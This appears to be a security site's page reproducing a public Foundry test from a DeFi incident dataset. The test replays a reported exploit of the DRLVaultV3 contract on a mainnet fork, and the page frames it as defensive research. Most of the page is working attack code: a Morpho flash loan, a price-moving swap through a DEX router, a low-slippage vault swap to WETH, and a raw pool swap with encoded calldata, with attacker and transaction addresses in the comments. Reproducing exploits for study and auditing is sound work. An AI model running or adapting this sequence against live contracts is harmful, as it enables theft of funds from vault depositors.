Skip to content
THREATWIRE

Public reproduction file

src/test/2025-11/DRLVaultV3_exp.sol

Public reproduction file for dataset entry DRLVaultV3.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-11/DRLVaultV3_exp.sol161 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 100K USDT
8// Attacker : https://etherscan.io/address/0xC0ffeEBABE5D496B2DDE509f9fa189C25cF29671
9// Attack Contract : https://etherscan.io/address/0xe08d97e151473a848c3d9ca3f323cb720472d015
10// Vulnerable Contract : https://etherscan.io/address/0x6A06707ab339BEE00C6663db17DdB422301ff5e8
11// Attack Tx : https://etherscan.io/tx/0xe3eab35b288c086afa9b86a97ab93c7bb61d21b1951a156d2a8f6f5d5715c475
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x6A06707ab339BEE00C6663db17DdB422301ff5e8#code
16// @Analysis
17// Post-mortem : https://blog.verichains.io/p/the-drlvaultv3-exploit-a-slippage
18// Twitter Guy : N/A
19// Hacking God : N/A
20pragma solidity ^0.8.0;
22address constant USDC_ADDR = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
23address constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
25address constant USDC_WETH_POOL = 0xE0554a476A092703abdB3Ef35c80e0D76d32939F;
27address constant MORPHO_ADDR = 0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb;
28address constant DEXROUTER_ADDR = 0x2E1Dee213BA8d7af0934C49a23187BabEACa8764;
29address constant TOKEN_APPROVE = 0x40aA958dd87FC8305b97f2BA922CDdCa374bcD7f;
30address constant VAULT_ADDR = 0x6A06707ab339BEE00C6663db17DdB422301ff5e8;
32interface IMorpho {
33 function flashLoan(
34 address token,
35 uint256 assets,
36 bytes calldata data
37 ) external;
40interface IMorphoFlashLoanReceiver {
41 function onMorphoFlashLoan(
42 uint256 assets,
43 bytes calldata data
44 ) external;
47interface IDexRouter {
48 function uniswapV3SwapTo(
49 uint256 receiver,
50 uint256 amount,
51 uint256 minReturn,
52 uint256[] calldata pools
53 ) external payable returns (uint256 returnAmount);
56interface IDRLVault {
57 function swapToWETH(
58 uint256 _amount
59 ) external returns (uint256 _amountOut);
62contract DRLVaultV3_EXP is BaseTestWithBalanceLog, IMorphoFlashLoanReceiver {
63 IMorpho public morpho = IMorpho(MORPHO_ADDR);
64 IDexRouter public dexRouter = IDexRouter(DEXROUTER_ADDR);
65 IDRLVault public vault = IDRLVault(VAULT_ADDR);
66 IPancakeV3Pool public pool = IPancakeV3Pool(USDC_WETH_POOL);
68 uint256 blocknumToForkFrom = 23769387 - 1;
69 uint256 FLASHLOAN_USDC = 13980773000000;
70 uint256 VAULT_SWAP_USDC = 100000000000;
72 function setUp() public {
73 vm.createSelectFork("mainnet", blocknumToForkFrom);
74 }
76 function testExploit() public balanceLog {
77 bytes memory data = abi.encode(uint8(1));
78 morpho.flashLoan(USDC_ADDR, FLASHLOAN_USDC, data);
79 }
81 function onMorphoFlashLoan(uint256 assets, bytes calldata data) external {
82 require(msg.sender == address(morpho), "only Morpho");
83 console.log("========= After Flash =========");
84 console.log("USDC balance", IERC20(USDC_ADDR).balanceOf(address(this)));
85 console.log("WETH balance", IERC20(WETH_ADDR).balanceOf(address(this)));
86 console.log("ETH balance", address(this).balance);
87 uint256 wethPrice = CalcPrice();
88 console.log("WETH Price before swap", wethPrice);
90 IERC20(USDC_ADDR).approve(TOKEN_APPROVE, type(uint256).max);
91 uint256 receiver = uint256(uint160(address(this)));
92 uint256[] memory pools = new uint256[](1);
93 pools[0] = 14474011154664524427946373127366704448275315930774981940324572871603728323487;
94 dexRouter.uniswapV3SwapTo(receiver, FLASHLOAN_USDC, 96069676420420156, pools);
96 console.log("========= After Swap on DexRouter =========");
97 console.log("USDC balance", IERC20(USDC_ADDR).balanceOf(address(this)));
98 console.log("WETH balance", IERC20(WETH_ADDR).balanceOf(address(this)));
99 console.log("ETH balance", address(this).balance);
100 wethPrice = CalcPrice();
101 console.log("WETH Price after swap", wethPrice);
103 console.log("========= Before Swap on Vault =========");
104 console.log("Vault weth balane", IERC20(WETH_ADDR).balanceOf(VAULT_ADDR));
105 console.log("Vault eth balane", VAULT_ADDR.balance);
106 console.log("Vault usdc balane", IERC20(USDC_ADDR).balanceOf(VAULT_ADDR));
108 vault.swapToWETH(VAULT_SWAP_USDC);
110 console.log("========= After Swap on Vault =========");
111 console.log("USDC balance", IERC20(USDC_ADDR).balanceOf(address(this)));
112 console.log("WETH balance", IERC20(WETH_ADDR).balanceOf(address(this)));
113 console.log("ETH balance", address(this).balance);
114 wethPrice = CalcPrice();
115 console.log("WETH Price after swap", wethPrice);
117 pools[0] = 57896044618658097711785492505624669893251560180390193455121166874571151938463;
118 uint256 amountIn = 779999999999792152553;
119 dexRouter.uniswapV3SwapTo{value: amountIn}(receiver, amountIn, 0, pools);
121 console.log("========= After Swap on DexRouter =========");
122 console.log("USDC balance", IERC20(USDC_ADDR).balanceOf(address(this)));
123 console.log("WETH balance", IERC20(WETH_ADDR).balanceOf(address(this)));
124 console.log("ETH balance", address(this).balance);
125 wethPrice = CalcPrice();
126 console.log("WETH Price after swap", wethPrice);
128 IERC20(USDC_ADDR).approve(USDC_WETH_POOL, type(uint256).max);
129 IERC20(WETH_ADDR).approve(USDC_WETH_POOL, type(uint256).max);
131 (bool success, ) = payable(WETH_ADDR).call{value: address(this).balance}("");
132 require(success, "ETH transfer failed");
134 bytes memory data = "0x0500c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000044a9059cbb000000000000000000000000e0554a476a092703abdb3ef35c80e0d76d32939f00000000000000000000000000000000000000000000000050e0230d060eba7205";
135 pool.swap(address(this), false, int256(-21291294107), 1461446703485210103287273052203988822378723970341, data);
137 console.log("========= After Swap on DexRouter =========");
138 console.log("USDC balance", IERC20(USDC_ADDR).balanceOf(address(this)));
139 console.log("WETH balance", IERC20(WETH_ADDR).balanceOf(address(this)) / 1e18 );
140 console.log("ETH balance", address(this).balance);
141 wethPrice = CalcPrice();
142 console.log("WETH Price after swap", wethPrice);
144 IERC20(USDC_ADDR).approve(MORPHO_ADDR, type(uint256).max);
146 }
148 function CalcPrice() internal returns(uint256 finalPrice) {
149 IPancakeV3PoolState pool = IPancakeV3PoolState(USDC_WETH_POOL);
151 (uint256 sqrtPriceX96, int24 tick,,,,,) = pool.slot0();
152 finalPrice = 1e12/(sqrtPriceX96/2**96)**2;
153 }
155 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
156 IERC20(WETH_ADDR).transfer(USDC_WETH_POOL, uint256(amount1Delta));
157 }
159 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “DRLVaultV3” (2025-11-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

4 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xc0ffeebabe5d496b2dde509f9fa189c25cf29671

  • Attack Contract

    0xe08d97e151473a848c3d9ca3f323cb720472d015

  • Vulnerable Contract

    0x6a06707ab339bee00c6663db17ddb422301ff5e8

  • Attack Tx

    0xe3eab35b288c086afa9b86a97ab93c7bb61d21b1951a156d2a8f6f5d5715c475

File record

Name
DRLVaultV3
Path
src/test/2025-11/DRLVaultV3_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
7c97d3e253ef9591e0b2f946125b4f72204ed527
Language
Solidity
Size
161 lines
Date
2025-11-10
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-11/DRLVaultV3_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7c97d3e253ef9591e0b2f946125b4f72204ed527, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.